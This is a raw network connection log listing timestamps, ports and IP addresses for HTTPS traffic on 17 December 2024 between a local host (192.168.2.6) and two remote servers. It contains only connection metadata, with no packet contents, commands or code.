Dec 17, 2024 10:08:32.309778929 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.309823990 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.309866905 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.309874058 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.309905052 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.309928894 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.361780882 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.361876965 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.361885071 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.361929893 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.364695072 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.364794970 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.364800930 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.364840031 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.367964983 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.368047953 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.368053913 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.368113995 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.372776031 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.372997999 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.373003960 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.373151064 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.375221968 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.375494003 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.375500917 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.375916958 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.379302979 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.379388094 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.379394054 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.379698992 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.382548094 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.382638931 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.382644892 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.382750988 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.385799885 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.385893106 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.385899067 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.385938883 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.389607906 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.389833927 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.389841080 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.392815113 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.392904043 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.392910957 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.393013954 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.396718025 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.396810055 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.396816015 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.396907091 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.399893045 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.399986029 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.399991989 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.400033951 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.403767109 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.403971910 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.403978109 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.404062986 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.406964064 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.407054901 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.407061100 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.407165051 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.409826040 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.409890890 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.409895897 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.409964085 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.413952112 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.414031029 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.414036989 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.414202929 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.429095984 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.429117918 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.429210901 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.429230928 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.429241896 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.429267883 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.432846069 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.432864904 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.432960033 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.432974100 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.433053017 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.435890913 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.435906887 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.435957909 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.435971022 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.436003923 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.436023951 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.440143108 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.440157890 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.440217972 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.440229893 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.440448046 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.443984032 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.444001913 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.444087029 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.444097996 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.444135904 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.444511890 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.444560051 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.444586039 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.444593906 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.444605112 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.444633007 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.448229074 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.448246956 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.448338032 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.448349953 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.448388100 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.452105999 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.452121973 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.452187061 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.452195883 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.452233076 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.452253103 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.452263117 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.452301025 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.452450991 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.452492952 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.452527046 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.452533960 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.452562094 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.452645063 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.454840899 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.454857111 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.454938889 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.454950094 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.455188036 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.460668087 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.460762024 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.460799932 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.460807085 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.460823059 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.460845947 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.462292910 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.462307930 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.462343931 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.462358952 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.462395906 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.462404013 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.463439941 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.463459015 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.464114904 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.464225054 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.464225054 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.464232922 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.464312077 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.464356899 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.464462996 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.464474916 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.469522953 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.469537020 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.469614029 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.469630003 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.469669104 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.477257013 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.477277994 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.477312088 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.477329969 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.477343082 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.477361917 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.485085964 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.485104084 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.485157967 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.485173941 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.485223055 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.554169893 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.554270983 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.554282904 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.554847002 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.557028055 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.557455063 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.557461023 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.557631016 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.560939074 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.561031103 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.561037064 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.561765909 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.564131021 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.564212084 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.564218998 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.564256907 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.566863060 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.566929102 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.566934109 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.567195892 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.570899963 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.570960999 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.570966959 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.571810961 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.574325085 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.574408054 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.574414968 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.574939013 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.577197075 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.577279091 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.577285051 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.577464104 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.581537962 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.581618071 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.581623077 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.582289934 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.584486961 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.584573984 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.584579945 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.585093021 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.588064909 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.588150024 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.588155985 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.588236094 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.591384888 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.591464043 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.591469049 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.591660023 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.595222950 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.595302105 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.595307112 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.595443010 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.598500013 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.598599911 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.598604918 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.599097967 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.601954937 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.602047920 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.602052927 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.602086067 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.607450008 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.607544899 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.607551098 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.607588053 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.625274897 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.625292063 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.625375986 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.625405073 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.625504017 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.632853985 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.632874012 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.632967949 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.632985115 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.637027025 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.639880896 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.639897108 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.639977932 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.639993906 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.640085936 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.648261070 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.648277998 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.648334026 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.648350954 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.648459911 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.654999971 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.655014038 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.655077934 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.655095100 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.655138016 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.662168026 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.662184954 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.662233114 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.662249088 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.662271976 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.662288904 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.669711113 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.669728041 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.669790030 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.669805050 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.670010090 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.677124977 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.677139997 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.677201033 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.677217960 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.677300930 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.728157997 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:32.728247881 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:32.729507923 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:32.729527950 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:32.729772091 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:32.730875015 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:32.731023073 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:32.731054068 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:32.731144905 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:32.731153011 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:32.746021032 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.746108055 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.746114969 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.746809006 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.748538971 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.748630047 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.748636961 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.748831034 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.752552986 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.752641916 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.752648115 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.753012896 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.755968094 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.756042957 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.756047010 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.756059885 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.756122112 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.771958113 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.771972895 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.817126036 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.817147970 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.817222118 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.817245960 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.817317963 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.823086977 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.823129892 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.823163033 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.823184013 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.823199987 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.823216915 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.823236942 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.823267937 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.934549093 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.934607029 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.934675932 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:33.118171930 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:33.118216038 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:33.118422985 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:33.118459940 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:33.633991957 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:33.634095907 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:33.634139061 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:33.635633945 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:33.635653973 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:33.647571087 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:33.647631884 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:33.648122072 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:33.648128986 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:33.649000883 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:33.649007082 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.145150900 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.145178080 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.145214081 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.145221949 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.145242929 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.145251036 CET	443	49743	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:34.145287037 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.145313025 CET	49743	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:34.239118099 CET	49750	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:34.239152908 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:34.239223957 CET	49750	443	192.168.2.6	104.21.2.110
